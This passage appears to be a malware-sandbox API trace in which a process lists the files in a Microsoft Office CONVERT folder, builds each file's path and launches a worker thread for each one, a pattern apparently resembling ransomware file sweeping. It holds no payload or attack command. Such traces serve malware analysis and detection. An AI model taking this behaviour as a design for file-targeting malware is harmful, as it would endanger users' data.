RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b6ff0 [0049.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2e8 [0052.196] wcscmp (_String1=".", _String2=".") returned 0 [0052.196] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.196] wcscmp (_String1="..", _String2=".") returned 1 [0052.196] wcscmp (_String1="..", _String2="..") returned 0 [0052.196] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0052.196] wcscmp (_String1="1033", _String2=".") returned 1 [0052.196] wcscmp (_String1="1033", _String2="..") returned 1 [0052.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e463b8 [0052.196] wcscpy (in: _Dest=0x5e463b8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0052.196] wcscat (in: _Dest=0x5e463b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0052.196] wcscat (in: _Dest=0x5e463b8, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0065.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e463b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x159c [0065.644] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0065.644] wcscmp (_String1="ACT3.SAM", _String2=".") returned 1 [0065.644] wcscmp (_String1="ACT3.SAM", _String2="..") returned 1 [0065.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e08298 [0065.644] wcscpy (in: _Dest=0x12e08298, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.644] wcscat (in: _Dest=0x12e08298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.644] wcscat (in: _Dest=0x12e08298, _Source="ACT3.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" [0065.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a0 [0065.645] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0065.646] wcscmp (_String1="DELIMDOS.FAE", _String2=".") returned 1 [0065.646] wcscmp (_String1="DELIMDOS.FAE", _String2="..") returned 1 [0065.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9878 [0065.646] wcscpy (in: _Dest=0x96f9878, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.646] wcscat (in: _Dest=0x96f9878, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.646] wcscat (in: _Dest=0x96f9878, _Source="DELIMDOS.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" [0065.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a4 [0065.647] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0065.647] wcscmp (_String1="DELIMWIN.FAE", _String2=".") returned 1 [0065.647] wcscmp (_String1="DELIMWIN.FAE", _String2="..") returned 1 [0065.647] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8cc8 [0065.647] wcscpy (in: _Dest=0x96f8cc8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.647] wcscat (in: _Dest=0x96f8cc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.647] wcscat (in: _Dest=0x96f8cc8, _Source="DELIMWIN.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" [0065.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a8 [0065.648] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0065.649] wcscmp (_String1="DESKSAM.SAM", _String2=".") returned 1 [0065.649] wcscmp (_String1="DESKSAM.SAM", _String2="..") returned 1 [0065.649] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f93b0 [0065.649] wcscpy (in: _Dest=0x96f93b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.649] wcscat (in: _Dest=0x96f93b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.649] wcscat (in: _Dest=0x96f93b0, _Source="DESKSAM.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" [0065.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f93b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15ac [0065.650] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0065.650] wcscmp (_String1="ODBC.SAM", _String2=".") returned 1 [0065.650] wcscmp (_String1="ODBC.SAM", _String2="..") returned 1 [0065.650] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e07e98 [0065.650] wcscpy (in: _Dest=0x12e07e98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.650] wcscat (in: _Dest=0x12e07e98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.650] wcscat (in: _Dest=0x12e07e98, _Source="ODBC.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" [0065.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b0 [0065.652] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0065.652] wcscmp (_String1="OL.SAM", _String2=".") returned 1 [0065.652] wcscmp (_String1="OL.SAM", _String2="..") returned 1 [0065.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e07c98 [0065.652] wcscpy (in: _Dest=0x12e07c98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.652] wcscat (in: _Dest=0x12e07c98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.652] wcscat (in: _Dest=0x12e07c98, _Source="OL.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" [0065.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b4 [0065.653] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0065.653] wcscmp (_String1="OLADD.FAE", _String2=".") returned 1 [0065.653] wcscmp (_String1="OLADD.FAE", _String2="..") returned 1 [0065.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f9438 [0065.653] wcscpy (in: _Dest=0x96f9438, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.653] wcscat (in: _Dest=0x96f9438, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.653] wcscat (in: _Dest=0x96f9438, _Source="OLADD.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" [0065.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b8 [0065.654] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0065.654] wcscmp (_String1="OLAPPT.FAE", _String2=".") returned 1 [0065.654] wcscmp (_String1="OLAPPT.FAE", _String2="..") returned 1 [0065.654] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f94c0 [0065.654] wcscpy (in: _Dest=0x96f94c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.654] wcscat (in: _Dest=0x96f94c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.654] wcscat (in: _Dest=0x96f94c0, _Source="OLAPPT.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" [0065.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f94c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15bc [0065.655] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0065.655] wcscmp (_String1="OLJRNL.FAE", _String2=".") returned 1 [0065.655] wcscmp (_String1="OLJRNL.FAE", _String2="..") returned 1 [0065.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9658 [0065.655] wcscpy (in: _Dest=0x96f9658, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.655] wcscat (in: _Dest=0x96f9658, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.655] wcscat (in: _Dest=0x96f9658, _Source="OLJRNL.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" [0065.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c0 [0065.657] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0065.657] wcscmp (_String1="OLMAIL.FAE", _String2=".") returned 1 [0065.657] wcscmp (_String1="OLMAIL.FAE", _String2="..") returned 1 [0065.657] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8c40 [0065.657] wcscpy (in: _Dest=0x96f8c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.657] wcscat (in: _Dest=0x96f8c40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.657] wcscat (in: _Dest=0x96f8c40, _Source="OLMAIL.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" [0065.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c4 [0065.658] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0065.658] wcscmp (_String1="OLNOTE.FAE", _String2=".") returned 1 [0065.658] wcscmp (_String1="OLNOTE.FAE", _String2="..") returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8b30 [0065.658] wcscpy (in: _Dest=0x96f8b30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.658] wcscat (in: _Dest=0x96f8b30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.658] wcscat (in: _Dest=0x96f8b30, _Source="OLNOTE.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" [0065.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c8 [0065.659] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0065.659] wcscmp (_String1="OLTASK.FAE", _String2=".") returned 1 [0065.659] wcscmp (_String1="OLTASK.FAE", _String2="..") returned 1 [0065.659] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8dd8 [0065.659] wcscpy (in: _Dest=0x96f8dd8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.659] wcscat (in: _Dest=0x96f8dd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.659] wcscat (in: _Dest=0x96f8dd8, _Source="OLTASK.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" [0065.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15cc [0065.660] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0065.661] wcscmp (_String1="ORG97.SAM", _String2=".") returned 1 [0065.661] wcscmp (_String1="ORG97.SAM", _String2="..") returned 1 [0065.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8f70 [0065.661] wcscpy (in: _Dest=0x96f8f70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.661] wcscat (in: _Dest=0x96f8f70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.661] wcscat (in: _Dest=0x96f8f70, _Source="ORG97.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" [0065.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d0 [0065.662] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0065.662] wcscmp (_String1="PAB.SAM", _String2=".") returned 1 [0065.662] wcscmp (_String1="PAB.SAM", _String2="..") returned 1 [0065.662] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08f18 [0065.662] wcscpy (in: _Dest=0x12e08f18, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0065.662] wcscat (in: _Dest=0x12e08f18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0065.662] wcscat (in: _Dest=0x12e08f18, _Source="PAB.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" [0065.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d4 [0065.663] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, 